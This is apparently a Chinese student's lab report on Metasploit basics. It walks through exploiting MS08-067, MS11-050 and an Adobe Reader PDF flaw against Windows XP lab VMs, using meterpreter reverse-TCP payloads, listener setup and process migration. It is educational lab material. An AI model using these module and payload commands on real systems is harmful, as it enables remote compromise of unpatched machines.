20145312《网络对抗》MSF基础
20145312《网络对抗》MSF基础
实验要求
1.掌握metasploit的基本应用方式
2.掌握常用的三种攻击方式的思路
实验问答
- 用自己的话解释什么是exploit、payload、encode
exploit就相当于是一个运载的工具,将负责攻击的代码传送到靶机中。
payload也就是负责攻击的代码
encode也就是编码,它主要有两个功能,一是为了避免之前的payload中出现坏字符,二就是它要伪装从而实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
实践过程
MS08_067漏洞渗透攻击实践
- 实验准备:两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版)
- 在kali终端输入命令
msfconsole
进入msf控制台
- 输入命令
search ms08_067
,找到的渗透模块,输入命令use exploit/windows/smb/ms08_067_netapi
,进入该漏洞模块控制模式,输入命令show payload
会显示出有效的攻击载荷,我找到一个shell_reverse_tcp
- 使用命令
set payload generic/shell_reverse_tcp
设置攻击有效载荷,输入命令set RHOST 192.168.60.133
设置靶机IP地址,set RHOST 192.168.60.132
设置本机IP地址,输入指令show options
查看payload状态
- 输入命令
exploit
开始攻击
- 在kali上执行
ipconfig/all
- 在win xp上执行同样的命令,如下图所示
MS08_067远程漏洞攻击实践:meterpreter
- 输入指令
use exploit/windows/smb/ms08_067_netapi
,进入ms08_067漏洞模块,输入指令set payload windows/meterpreter/reverse_tcp
设置payload,输入指令show options
,查看payload状态
- 成功攻击结果:
MS11050安全漏洞
- 输入命令
use windows/browser/ms11_050_mshtml_cobjectelement
,进入该漏洞模块,设置对应的载荷set payload windows/meterpreter/reverse_tcp
,设置相关信息,输入指令exploit
,有靶机需要访问的ip地址:http://192.168.60.132:8080/baidu
- 输入命令sessions -i 1,开始连接,攻击成功,获取shell
Adobe阅读器渗透攻击
- 实验前准备:两台虚拟机,其中一台为kali,一台为windows xp sp3
输入命令
use exploit/windows/fileformat/adobe_cooltype_sing
,进入该漏洞模块的使用,使用命令set payload windows/meterpreter/reverse_tcp
设置攻击有效载荷,输入命令show options
显示payload状态
- 创建一个pdf文件,设置靶机和本机IP地址,并使用命令show options,看是否设置成功
- 输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。使用
use exploit/multi/handler
新建一个监听模块,使用set payload windows/meterpreter/reverse_tcp
建立一个反向连接,使用命令exploit
开始攻击,在xp中打开pdf。这里pdf比较难打开,直接在kali中等结果就可以啦,如下图:
- 将进程迁移到explorer.exe.使用ps查看当前进程,并找到explorer.exe的进程号,如下图所示,使用命令
migrate 1928
,输入shell,查看xp靶机信息。
在靶机xp中使用命令netstat -an,看本地tcp连接
MSF辅助模块应用
先手动创建一个msf所需的数据库
service postgresql start
,msfdb start
,开启msf
输入指令
search browser
查找浏览器相关应用模块
- 找到一条关于雅虎通服务端的应用模块(绝对原创,如有雷同,纯属巧合)
进入该应用模块,
show options
查看需要输入的信息
好的,并没有。
exploit
命令,打开服务,显示Local IP:http://192.168.169.128:8080/Uj75J3FR 打开浏览器输入该地址。
kali终端会显示一条发送请求至雅虎通的信息。刷新一次,请求一次。
实验体会
- 前几次实验已经接触过了metasploit监听模块的使用,已然感受到它的功能强大。通过这次ms08_067、ms11_05、Adobe以及辅助模块的实践,对它有了更深刻的认识。也知道了漏洞的存在使我们的操作系统变得很不安全,所以及时更新应用,更新补丁是必要的。
20145312《网络对抗》MSF基础的更多相关文章
- 网络对抗——web基础
网络对抗--web基础 实践内容 (1)Web前端HTML (2)Web前端javascipt (3)Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表 (4)Web ...
- 2018-2019 20165237网络对抗 Exp5 MSF基础应用
2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 2018-2019-2 20165325 《网络对抗技术》 Exp5:MSF基础应用
2018-2019-2 20165325 <网络对抗技术> Exp5:MSF基础应用 实验内容(概要) 1.1 一个主动攻击实践,本实验选择 ms17_010_eternalblue(成功 ...
- 2018-2019 20165235 网络对抗 Exp5 MSF基础
2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...
- 2018-2019-2 20165311《网络对抗技术》Exp5 MSF基础应用
<网络对抗技术>Exp5 MSF基础应用 实验目的 实验内容 一个主动攻击实践(ms08_067) 一个针对浏览器的攻击(ms11_050) 一个针对客户端的攻击(adobe_toolbu ...
- 2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具 ...
- 2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用 验前准备 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻 ...
- 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...
随机推荐
- FW 编译Android系统源码和内核源码
编译Android系统源码和内核源码 分类: Android2014-07-21 20:58 7287人阅读 评论(28) 收藏 举报 好长时间没有写blog了,之所以没有写,主要还是工作上的事,发现 ...
- HTML_css选择器
第二种增加css样式的方法,可以在head中增加style标签,style中通过选择器定位标签增加css样式 CSS选择器分为六种: 1.id选择器 2.class选择器 3.标签选择器 4. ...
- King's Quest---poj1904(连通图缩点)
题目链接:http://poj.org/problem?id=1904 题意:国王有n个儿子,每个儿子喜欢ki个女孩,国王想让王子与他喜欢的人结婚,就让巫师做一个列表出来,但是国王想知道王子能和哪些女 ...
- oracle显示转换字段类型cast()函数
今天遇到一个查询类型转换的问题:表的字段是varchar2类型,然后查询到的结果要转换为number(20,2),刚开始的时候使用to_number()函数,发现不能满足需求.后来才知道,原来还有ca ...
- python-面向对象-08_多态
多态 目标 多态 面向对象三大特性 封装 根据 职责 将 属性 和 方法 封装 到一个抽象的 类 中 定义类的准则 继承 实现代码的重用,相同的代码不需要重复的编写 设计类的技巧 子类针对自己特有的需 ...
- linux mysql 统一字符编码
强调:配置文件中的注释可以有中文,但是配置项中不能出现中文 mysql> show variables like '%char%'; +--------------------------+-- ...
- dedecms批量导出新增文章url和标题
百度站长工具推出主动提交功能有一段时间了,可以将新产出链接立即通过此方式推送给百度,以保证新链接可以及时被百度收录.那么dedecms如何批量导出新增文章url呢?你可以用标签调用最新文章,可以用sq ...
- latex 安装和使用
1:下载 texlivewindows 版 http://tug.org/texlive/acquire-netinstall.html 2:双击exe文件进行安装,安装时选择 将路径添加到环境变量 ...
- jconsole监控远程 spring boot程序
监控java 程序 增加启动参数 java \ -Djava.rmi.server.hostname=192.168.1.97 \ -Dcom.sun.management.jmxremote \- ...
- [LeetCode] 103. Binary Tree Zigzag Level Order Traversal _ Medium tag: BFS
Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to ...